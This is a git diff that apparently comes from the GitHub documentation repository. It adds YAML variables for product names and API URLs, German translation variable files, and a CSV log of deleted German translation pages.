+prodname_docker_registry_namespace: '{% ifversion fpt or ghec %}`docker.pkg.github.com`{% elsif ghes or ghae %}<code>docker.<em>HOSTNAME</em></code>{% endif %}'
+prodname_container_registry_namespace: '{% ifversion fpt or ghec %}`ghcr.io`{% elsif ghes or ghae %}<code>containers.<em>HOSTNAME</em></code>{% endif %}'
+prodname_npm_registry: 'npm registry'
+
+# GitHub Insights
+prodname_insights: 'GitHub Insights'
+
+# GitHub Sponsors
+prodname_sponsors: 'GitHub Sponsors'
+prodname_matching_fund: 'GitHub Sponsors Matching Fund'
+
+# GitHub Advanced Security
+prodname_GH_advanced_security: 'GitHub Advanced Security'
+prodname_advanced_security: 'Advanced Security'
+
+# Codespaces
+prodname_codespaces: 'Codespaces'
+prodname_github_codespaces: 'GitHub Codespaces'
+prodname_serverless: 'web-based editor'
+
+# GitHub resources: blog, jobs, skills
+prodname_gcf: 'GitHub Community Support'
+prodname_github_community: 'GitHub Community'
+prodname_blog: 'the GitHub Blog'
+prodname_jobs: 'GitHub Jobs'
+prodname_learning: 'GitHub Skills'
+prodname_learning_link: 'https://skills.github.com/'
+prodname_roadmap: 'GitHub public roadmap'
+prodname_roadmap_link: 'https://github.com/github/roadmap#github-public-roadmap'
+
+# GitHub support
+premium_support_plan: 'Premium plan'
+premium_plus_support_plan: 'Premium Plus plan / GitHub Engineering Direct'
+microsoft_premium_plus_support_plan: 'GitHub Engineering Direct'
+support_ticket_priority_urgent: 'Urgent'
+support_ticket_priority_high: 'High'
+support_ticket_priority_normal: 'Normal'
+support_ticket_priority_low: 'Low'
+
+# GitHub Professional Services
+prodname_professional_services: 'GitHub Professional Services'
+prodname_professional_services_team: 'Professional Services'
+
+# GitHub Security Lab
+prodname_security: 'GitHub Security Lab'
+prodname_security_link: 'https://securitylab.github.com/'
+
+# GitHub Security Advisories
+prodname_security_advisories: 'GitHub Security Advisories'
+prodname_advisory_database: 'GitHub Advisory Database'
+
+# Secret scanning
+prodname_secret_scanning: 'secret scanning' # Overall feature name and name for GHES and GHAE
+prodname_secret_scanning_caps: 'Secret scanning'
+prodname_secret_scanning_partner: 'secret scanning for partner patterns' # GitHub.com feature for public repos only
+prodname_secret_scanning_partner_caps: 'Secret scanning for partner patterns'
+prodname_secret_scanning_GHAS:
+  >- # Includes GitHub.com name for GHAS licenced feature
+  {% ifversion fpt or ghec %}secret scanning for advanced security{% else %}secret scanning{% endif %}
+prodname_secret_scanning_GHAS_caps: >-
+  {% ifversion fpt or ghec %}Secret scanning for advanced security{% else %}Secret scanning{% endif %}
+
+# Code scanning
+prodname_code_scanning: 'code scanning'
+prodname_code_scanning_capc: 'Code scanning'
+
+# Visual Studio
+prodname_vs: 'Visual Studio'
+prodname_vscode_shortname: 'VS Code'
+prodname_vscode: 'Visual Studio Code'
+prodname_vscode_command_palette_shortname: 'VS Code Command Palette'
+prodname_vscode_command_palette: 'Visual Studio Code Command Palette'
+prodname_vscode_marketplace: 'Visual Studio Code Marketplace'
+prodname_vs_marketplace_shortname: 'VS Code Marketplace'
+
+# GitHub Dependabot
+prodname_dependabot: 'Dependabot'
+prodname_dependabot_alerts: 'Dependabot alerts'
+prodname_dependabot_security_updates: 'Dependabot security updates'
+prodname_dependabot_version_updates: 'Dependabot version updates'
+prodname_dependabot_updates: 'Dependabot updates'
+
+# Dependency review action
+prodname_dependency_review_action: 'dependency review action'
+
+# GitHub Archive Program
+prodname_archive: 'GitHub Archive Program'
+prodname_arctic_vault: 'Arctic Code Vault'
+
+# GitHub Copilot
+prodname_copilot: 'GitHub Copilot'
+prodname_copilot_short: 'Copilot'
+
+# Command Palette
+prodname_command_palette: 'GitHub Command Palette'
+
+# Server Statistics
+prodname_server_statistics: 'Server Statistics'
+
+# GitHub Actions Importer
+prodname_actions_importer: 'GitHub Actions Importer'
+
+# Links
+product_url: >-
+  {% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}
+pricing_url: 'https://github.com/pricing'
+signin_link: >-
+  {% ifversion fpt or ghec %}[Sign in](https://github.com/login){% else %}Sign in (`https://HOSTNAME/login`){% endif %}
+signout_link: >-
+  {% ifversion fpt or ghec %}[Sign out](https://github.com/logout){% else %}Sign out (`https://HOSTNAME/logout`){% endif %}
+raw_github_com: >-
+  {% ifversion fpt or ghec %}raw.githubusercontent.com{% else %}HOSTNAME/user/repo/raw{% endif %}
+# GitHub Enterprise Server past versions
+current-340-version: '11.10.354'
+
+# Developer site product variables
+# Use this inside command-line and other code blocks
+doc_url_pre: >-
+  {% ifversion fpt or ghec %}https://docs.github.com/rest{% elsif ghes %}https://docs.github.com/enterprise/{{ currentVersion | version_num }}/rest{% elsif ghae %}https://docs.github.com/github-ae@latest/rest{% endif %}
+# Use this inside command-line code blocks
+api_url_pre: >-
+  {% ifversion fpt or ghec %}https://api.github.com{% elsif ghes %}http(s)://<em>HOSTNAME</em>/api/v3{% elsif ghae %}https://<em>HOSTNAME</em>/api/v3{% endif %}
+# Use this inside command-line code blocks
+# Enterprise OAuth paths that don't include "/graphql" or "/api/v3"
+oauth_host_code: >-
+  {% ifversion fpt or ghec %}https://github.com{% else %}http(s)://HOSTNAME{% endif %}
+device_authorization_url: >-
+  {%- ifversion fpt or ghec %}
+  [`https://github.com/login/device`](https://github.com/login/device)
+  {%- elsif ghes %}
+  `http(s)://HOSTNAME/login/device`
+  {%- elsif ghae %}
+  `https://HOSTNAME/login/device`
+  {%- endif %}
+# Use this all other code blocks
+api_url_code: >-
+  {% ifversion fpt or ghec %}https://api.github.com{% elsif ghes %}http(s)://HOSTNAME/api/v3{% elsif ghae %}https://HOSTNAME/api/v3{% endif %}
+# Use this inside command-line code blocks
+graphql_url_pre: >-
+  {% ifversion fpt or ghec %}https://api.github.com/graphql{% elsif ghes %}http(s)://<em>HOSTNAME</em>/api/graphql{% elsif ghae %}https://<em>HOSTNAME</em>/api/graphql{% endif %}
+# Use this all other code blocks
+graphql_url_code: >-
+  {% ifversion fpt or ghec %}https://api.github.com/graphql{% elsif ghes %}http(s)://HOSTNAME/api/graphql{% elsif ghae %}https://HOSTNAME/api/graphql{% endif %}
diff --git a/translations/de-DE/data/variables/projects.yml b/translations/de-DE/data/variables/projects.yml
new file mode 100644
index 0000000000..6e4baab656
--- /dev/null
+++ b/translations/de-DE/data/variables/projects.yml
@@ -0,0 +1,23 @@
+projects_v2: 'projects'
+projects_v2_caps: 'Projects'
+project_v2: 'project'
+project_v2_caps: 'Project'
+
+projects_v1_board: >-
+  {% ifversion ghae or ghes%}project board{% else %}classic project{% endif %}
+projects_v1_board_caps: >-
+  {% ifversion ghes or ghae %}Project board{% else %}Classic project{% endif %}
+projects_v1_boards: >-
+  {% ifversion ghes or ghae %}project boards{% else %}classic projects{% endif %}
+projects_v1_boards_caps: >-
+  {% ifversion ghes or ghae %}Project boards{% else %}Classic projects{% endif %}
+
+command-palette-shortcut: '<kbd>Command</kbd>+<kbd>K</kbd> (Mac) or <kbd>Ctrl</kbd>+<kbd>K</kbd> (Windows/Linux)'
+
+# Use feature flags to return which projects versions are available.
+projects_v2_and_v1: '{% ifversion projects-v2 %}{% data variables.projects.projects_v2 %}{% ifversion projects-v1 %} and {% data variables.projects.projects_v1_boards %}{% endif %}{% else %}{% data variables.projects.projects_v1_boards %}{% endif %}'
+project_v2_and_v1: '{% ifversion projects-v2 %}{% data variables.projects.project_v2 %}{% ifversion projects-v1 %} and {% data variables.projects.projects_v1_board %}{% endif %}{% else %}{% data variables.projects.projects_v1_board %}{% endif %}'
+
+# Limits
+item_limit: '1,200'
+archived_item_limit: '10,000'
diff --git a/translations/de-DE/data/variables/release_candidate.yml b/translations/de-DE/data/variables/release_candidate.yml
new file mode 100644
index 0000000000..026d2f7e61
--- /dev/null
+++ b/translations/de-DE/data/variables/release_candidate.yml
@@ -0,0 +1 @@
+version: ''
diff --git a/translations/de-DE/data/variables/search.yml b/translations/de-DE/data/variables/search.yml
new file mode 100644
index 0000000000..7b6a8e3ea3
--- /dev/null
+++ b/translations/de-DE/data/variables/search.yml
@@ -0,0 +1,4 @@
+advanced_url: >-
+  {% ifversion fpt or ghec %}Seite für die [erweiterte Suche](https://github.com/search/advanced) {% else %}Seite für die erweiterte Suche (`https://[Hostname]/search/advanced`){% endif %}
+search_page_url: >-
+  {% ifversion fpt or ghec %}Seite für die [Suche](https://github.com/search) {% else %}Seite für die Suche (`https://[Hostname]/search`){% endif %}
diff --git a/translations/log/msft-de-resets.csv b/translations/log/msft-de-resets.csv
new file mode 100644
index 0000000000..cbdffa412a
--- /dev/null
+++ b/translations/log/msft-de-resets.csv
@@ -0,0 +1,1141 @@
+file,reason
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/index.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/showing-an-overview-of-your-activity-on-your-profile.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/troubleshooting-commits-on-your-timeline.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/index.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/changing-your-primary-email-address.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/managing-marketing-emails-from-github.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-a-backup-email-address.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/types-of-emails-github-sends.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/best-practices-for-leaving-your-company.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/integrating-jira-with-your-personal-projects.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-tab-size-rendering-preference.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/what-does-the-available-for-hire-checkbox-do.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/index.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/managing-your-scheduled-reminders.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/best-practices-for-leaving-your-company.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/converting-a-user-into-an-organization.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/deleting-your-personal-account.md,file deleted because it no longer exists in main
+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/merging-multiple-personal-accounts.md,file deleted because it no longer exists in main
+translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md,file deleted because it no longer exists in main
+translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/deploying-github-advanced-security-in-your-enterprise.md,file deleted because it no longer exists in main
+translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/overview-of-github-advanced-security-deployment.md,file deleted because it no longer exists in main
+translations/de-DE/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md,file deleted because it no longer exists in main
+translations/de-DE/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md,file deleted because it no longer exists in main
+translations/de-DE/content/admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/index.md,file deleted because it no longer exists in main
+translations/de-DE/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-saml-single-sign-on-recovery-codes.md,file deleted because it no longer exists in main
+translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users.md,file deleted because it no longer exists in main
+translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users.md,file deleted because it no longer exists in main
+translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta.md,file deleted because it no longer exists in main
+translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-scim-provisioning-for-enterprise-managed-users.md,file deleted because it no longer exists in main
+translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/index.md,file deleted because it no longer exists in main
+translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/managing-team-memberships-with-identity-provider-groups.md,file deleted because it no longer exists in main
+translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-for-your-enterprise.md,file deleted because it no longer exists in main
+translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md,file deleted because it no longer exists in main
+translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md,file deleted because it no longer exists in main
+translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md,file deleted because it no longer exists in main
+translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md,file deleted because it no longer exists in main
+translations/de-DE/content/authentication/managing-commit-signature-verification/adding-a-new-gpg-key-to-your-github-account.md,file deleted because it no longer exists in main
+translations/de-DE/content/authentication/troubleshooting-commit-signature-verification/updating-an-expired-gpg-key.md,file deleted because it no longer exists in main
+translations/de-DE/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md,file deleted because it no longer exists in main
+translations/de-DE/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md,file deleted because it no longer exists in main
+translations/de-DE/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces.md,file deleted because it no longer exists in main
+translations/de-DE/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md,file deleted because it no longer exists in main
+translations/de-DE/content/code-security/dependabot/dependabot-alerts/browsing-security-advisories-in-the-github-advisory-database.md,file deleted because it no longer exists in main
+translations/de-DE/content/code-security/dependabot/dependabot-alerts/browsing-security-vulnerabilities-in-the-github-advisory-database.md,file deleted because it no longer exists in main
+translations/de-DE/content/code-security/dependabot/dependabot-alerts/editing-security-advisories-in-the-github-advisory-database.md,file deleted because it no longer exists in main
+translations/de-DE/content/code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities.md,file deleted because it no longer exists in main
+translations/de-DE/content/code-security/repository-security-advisories/about-github-security-advisories-for-repositories.md,file deleted because it no longer exists in main
+translations/de-DE/content/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory.md,file deleted because it no longer exists in main
+translations/de-DE/content/code-security/repository-security-advisories/best-practices-for-writing-repository-security-advisories.md,file deleted because it no longer exists in main
+translations/de-DE/content/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability.md,file deleted because it no longer exists in main
+translations/de-DE/content/code-security/repository-security-advisories/creating-a-repository-security-advisory.md,file deleted because it no longer exists in main
+translations/de-DE/content/code-security/repository-security-advisories/editing-a-repository-security-advisory.md,file deleted because it no longer exists in main
+translations/de-DE/content/code-security/repository-security-advisories/index.md,file deleted because it no longer exists in main
+translations/de-DE/content/code-security/repository-security-advisories/permission-levels-for-repository-security-advisories.md,file deleted because it no longer exists in main
+translations/de-DE/content/code-security/repository-security-advisories/publishing-a-repository-security-advisory.md,file deleted because it no longer exists in main
+translations/de-DE/content/code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory.md,file deleted because it no longer exists in main
+translations/de-DE/content/code-security/repository-security-advisories/withdrawing-a-repository-security-advisory.md,file deleted because it no longer exists in main
+translations/de-DE/content/code-security/security-advisories/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/codespaces-reference/security-in-codespaces.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/codespaces-reference/understanding-billing-for-github-codespaces.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/codespaces-reference/using-github-copilot-in-codespaces.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/developing-in-codespaces/creating-a-codespace.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/developing-in-codespaces/renaming-a-codespace.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-github-codespaces-in-your-organization.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-codespaces.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/managing-your-codespaces/managing-gpg-verification-for-codespaces.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-codespaces.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/prebuilding-your-codespaces/about-codespaces-prebuilds.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/troubleshooting/codespaces-logs.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-codespaces.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/troubleshooting/troubleshooting-your-connection-to-codespaces.md,file deleted because it no longer exists in main
+translations/de-DE/content/codespaces/troubleshooting/working-with-support-for-codespaces.md,file deleted because it no longer exists in main
+translations/de-DE/content/communities/moderating-comments-and-conversations/limiting-interactions-for-your-user-account.md,file deleted because it no longer exists in main
+translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors.md,file deleted because it no longer exists in main
+translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-community-exchange.md,file deleted because it no longer exists in main
+translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-education-for-students.md,file deleted because it no longer exists in main
+translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/apply-for-a-student-developer-pack.md,file deleted because it no longer exists in main
+translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/index.md,file deleted because it no longer exists in main
+translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md,file deleted because it no longer exists in main
+translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/about-github-education-for-educators-and-researchers.md,file deleted because it no longer exists in main
+translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md,file deleted because it no longer exists in main
+translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/index.md,file deleted because it no longer exists in main
+translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md,file deleted because it no longer exists in main
+translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md,file deleted because it no longer exists in main
+translations/de-DE/content/github/copilot/about-github-copilot-telemetry.md,file deleted because it no longer exists in main
+translations/de-DE/content/github/copilot/github-copilot-telemetry-terms.md,file deleted because it no longer exists in main
+translations/de-DE/content/github/copilot/index.md,file deleted because it no longer exists in main
+translations/de-DE/content/github/copilot/research-recitation.md,file deleted because it no longer exists in main
+translations/de-DE/content/github/index.md,file deleted because it no longer exists in main
+translations/de-DE/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-date-fields.md,file deleted because it no longer exists in main
+translations/de-DE/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-iteration-fields.md,file deleted because it no longer exists in main
+translations/de-DE/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-single-select-fields.md,file deleted because it no longer exists in main
+translations/de-DE/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-text-and-number-fields.md,file deleted because it no longer exists in main
+translations/de-DE/content/issues/planning-and-tracking-with-projects/understanding-field-types/deleting-fields.md,file deleted because it no longer exists in main
+translations/de-DE/content/issues/planning-and-tracking-with-projects/understanding-field-types/index.md,file deleted because it no longer exists in main
+translations/de-DE/content/issues/planning-and-tracking-with-projects/understanding-field-types/renaming-fields.md,file deleted because it no longer exists in main
+translations/de-DE/content/issues/tracking-your-work-with-issues/about-task-lists.md,file deleted because it no longer exists in main
+translations/de-DE/content/issues/trying-out-the-new-projects-experience/about-projects.md,file deleted because it no longer exists in main
+translations/de-DE/content/issues/trying-out-the-new-projects-experience/automating-projects.md,file deleted because it no longer exists in main
+translations/de-DE/content/issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects.md,file deleted because it no longer exists in main
+translations/de-DE/content/issues/trying-out-the-new-projects-experience/creating-a-project.md,file deleted because it no longer exists in main
+translations/de-DE/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md,file deleted because it no longer exists in main
+translations/de-DE/content/issues/trying-out-the-new-projects-experience/filtering-projects.md,file deleted because it no longer exists in main
+translations/de-DE/content/issues/trying-out-the-new-projects-experience/index.md,file deleted because it no longer exists in main
+translations/de-DE/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md,file deleted because it no longer exists in main
+translations/de-DE/content/issues/trying-out-the-new-projects-experience/managing-iterations.md,file deleted because it no longer exists in main
+translations/de-DE/content/issues/trying-out-the-new-projects-experience/managing-projects.md,file deleted because it no longer exists in main
+translations/de-DE/content/issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects.md,file deleted because it no longer exists in main
+translations/de-DE/content/issues/trying-out-the-new-projects-experience/migrating-your-project.md,file deleted because it no longer exists in main
+translations/de-DE/content/issues/trying-out-the-new-projects-experience/quickstart.md,file deleted because it no longer exists in main
